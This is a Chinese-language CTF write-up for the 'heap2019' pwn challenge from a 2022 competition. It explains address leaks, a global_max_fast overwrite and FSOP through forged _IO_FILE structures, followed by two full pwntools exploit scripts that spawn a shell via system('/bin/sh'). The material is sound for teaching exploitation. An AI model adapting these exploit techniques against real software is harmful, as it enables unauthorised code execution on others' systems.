heap2019
一点也不会,太菜了,zikh师傅太强了直接带我入门io
保护
比赛时一脸懵比,已经隐隐感觉与io有关,就知道跟我没关系了
漏洞利用
输入的时候没有\x00截断且下面有一个puts,这个漏洞可以用来泄露地址,从unsortbin中泄露libs地址从larger bin中泄露堆地址,程序自带泄露的地址没啥鸟用,我又用不到程序程序基地址
一个溢出来达到任意地址写一个0xdeadbeef有点像unsortbin attach 利用这个打一个fsop,有两种方法大概上一样,就是/bin/sh的写入方法不同
看一下绕过条件
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
第一种方法构造一个结构体,因为我们是可以控制 vtable
的,虽然作为参数的 flags
字段位于堆块的 prev_size
上,当上一个chunk末尾为8,就会当作上一个chunk的数据区,最后用 /bin/sh\x00
填满堆块,从而控制了结构体中的 flags
字段。别忘记伪造字段来触发 _IO_OVERFLOW
第二种方法就是构造两个,在第一个结构体中,我们不希望执行 _IO_OVERFLOW
因此,要让前面的检查不通过。而前面的条件又由一个 ||
连接,因此需要第一个条件和第二个条件全部不成立才可以。
这里伪造的字段为 fp->_mode == 0
fp->_IO_write_ptr== fp->_IO_write_base==0
这样前后两个条件全部无法成立,自然无法调用 _IO_OVERFLOW
在伪造字段绕过 if
的同时,不要忘记设置好 _chain
字段,让其指向第二个结构体。
在第二个结构体中,我们希望执行 _IO_OVERFLOW
,因此要将 fp->_mode == 0
fp->_IO_write_ptr ==1
fp->_IO_write_base == 0
,这样即可触发 _IO_OVERFLOW
。在这之前只需要伪造好第二个结构体的 flags
字段和 vtable
中的 overflow
让其指向 system
的地址即可获取 shell
还有一个难点就是篡改 global_max_fast
,最终效果向一个libc地址写一个堆地址
参考2022_祥云杯_pwn 部分wp | ZIKH26's Blog
exp
我使用了zikh师傅的工具tools-函数库 | ZIKH26's Blog
第一种
from tools import*
p,e,libc=load('a')
context.log_level='debug'
def new(size,context):
p.sendlineafter("4.exit\n","1")
p.sendlineafter("Content length:\n",str(size))
p.sendafter("Content:\n",context)
def edit(Comment):
p.sendlineafter("4.exit\n","2")
p.sendafter("Comment:",Comment)
def delete(id):
p.recvuntil("4.exit\n")
p.sendline('3')
p.sendlineafter("Content id:",str(id))
def exit():
p.sendlineafter("4.exit\n","4")
new(0x100,'a')
new(0x500,'b')
new(0x100,'c')
delete(0)
new(0x100,'a'*0x8)
libc_base=recv_libc()-0x3c4b78
log_addr('libc_base')
delete(1)
new(0x600,'a')
new(0x150,b'b'*0x10+b'a'*8)
p.recvuntil(b'a'*8)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_addr')
fastbinY_addr=libc_base+0x3c4b28
global_max_fast=libc_base+0x3c67f8
vtable=libc_base+0x3c5618
chain=libc_base+0x3c55a8
system=libc_base+libc.symbols['system']
log_addr('system')
delete(1)
new(0x1008,'/bin/sh\x00'*int(0x1008/8))
index=(chain-fastbinY_addr-8)/8
size=index*0x10+0x20
log_info(hex(int(size)))
new(int(size),p64(0)*3+p64(1)+p64(0)*7+p64(0)+p64(0)*13+p64(heap_addr+0x1630+0x40+0xa0)+p64(system)*4)
edit(b'a'*0x20+p64(global_max_fast))
delete(4)
debug(p,'pie',0xDCD,0xDD9,0xDC1,0xBF5,0xDE5)
exit()
p.interactive()
第二种
from tools import*
p,e,libc=load('a')
context.log_level='debug'
def new(size,context):
p.sendlineafter("4.exit\n","1")
p.sendlineafter("Content length:\n",str(size))
p.sendafter("Content:\n",context)
def edit(Comment):
p.sendlineafter("4.exit\n","2")
p.sendafter("Comment:",Comment)
def delete(id):
p.recvuntil("4.exit\n")
p.sendline('3')
p.sendlineafter("Content id:",str(id))
def exit():
p.sendlineafter("4.exit\n","4")
new(0x100,'a')
new(0x500,'b')
new(0x100,'c')
delete(0)
new(0x100,'a'*0x8)
libc_base=recv_libc()-0x3c4b78
log_addr('libc_base')
delete(1)
new(0x600,b'/bin/sh\x00'+p64(0)*4+p64(1)+p64(0)*21+p64(0xdeadbeef))
new(0x150,b'b'*0x10+b'a'*8)
p.recvuntil(b'a'*8)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_addr')
fastbinY_addr=libc_base+0x3c4b28
global_max_fast=libc_base+0x3c67f8
vtable=libc_base+0x3c5618
chain=libc_base+0x3c55a8
system=libc_base+libc.symbols['system']
log_addr('system')
delete(1)
new(0x1000,b'/bin/sh\x00'+p64(0)*4+p64(1)+p64(0)*21+p64(heap_addr+0x1630+0x40+0xa0))
index=(chain-fastbinY_addr-8)/8
size=index*0x10+0x20
log_info(hex(int(size)))
new(int(size),p64(0)*3+p64(0)+p64(0)*7+p64(heap_addr+0x630)+p64(0)*13+p64(heap_addr+0x1630+0x630)+p64(system)*4)
debug(p,'pie',0xDCD,0xDD9,0xDC1,0xBF5,0xDE5)
edit(b'a'*0x20+p64(global_max_fast))
delete(4)
exit()
p.interactive()
参考
2022-长城杯-铁人三项赛 pwn wp | ZIKH26's Blog
标签:IO,p64,libc,base,2022,pwn,new,铁人三项,addr From: https://www.cnblogs.com/trunk/p/17046643.html